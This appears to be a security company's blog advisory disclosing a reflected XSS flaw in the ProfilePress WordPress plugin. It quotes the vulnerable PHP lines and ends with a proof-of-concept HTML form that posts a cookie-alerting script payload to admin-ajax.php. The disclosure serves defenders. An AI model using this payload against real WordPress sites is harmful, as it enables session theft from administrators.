25 May

Our Proactive Monitoring Caught a Reflected XSS Vulnerabilities in a WordPress Plugin With 400,000+ Installs

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a reflected cross-site scripting (XSS) vulnerabilities in the plugin ProfilePress, which has 400,000+ active installations.

The possibility of these vulnerabilities is also now flagged by our Plugin Security Checker due an improvement we made based on these vulnerabilities, so you can check plugins you use to see if they might have similar issues with that tool. The tool flags other possible security issues in the plugin, so we wouldn’t recommend using the plugin unless the security has more broadly been reviewed and corrected.

The automated portion of that proactive monitoring flagged the following code in the file /src/ShortcodeParser/Builder/builder-preview.php, which takes user input and passes it to the function do_shortcode() and outputs the result:

8
$builder_structure = stripslashes($_POST['builder_structure']);
29
echo do_shortcode($builder_structure);

That allows for the execution of arbitrary shortcodes. That wouldn’t be a vulnerability unless the code is accessible to someone not logged in to WordPress, since logged-in users can already do the equivalent through an AJAX accessible function in WordPress.

That file is only loaded after a capabilities check, which checks if the request is coming from a user with the “manage_options” capability that only Administrators normally have:

269
270
271
272
273
274
function builder_preview_handler()
{
	if (current_user_can('manage_options')) {
		// iframe preview url content
		if (isset($_REQUEST['action']) && $_REQUEST['action'] == 'pp-builder-preview') {
			include PROFILEPRESS_SRC . 'ShortcodeParser/Builder/builder-preview.php';

So that isn’t a vulnerability. But there is still another vulnerability as that code will output arbitrary user input, so reflected XSS is possible.

That isn’t the only instance in the file, as there is also this code that does the same:

9
$builder_css       = stripslashes($_POST['builder_css']);
24
<style id="preview-css" type="text/css"><?= $builder_css ?></style>

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box, when logged in as an Administrator. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pp-builder-preview" method="POST">
<input type="hidden" name="builder_structure" value="<script>alert(document.cookie);</script>" />
<input type="hidden" name="builder_css" value='test' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.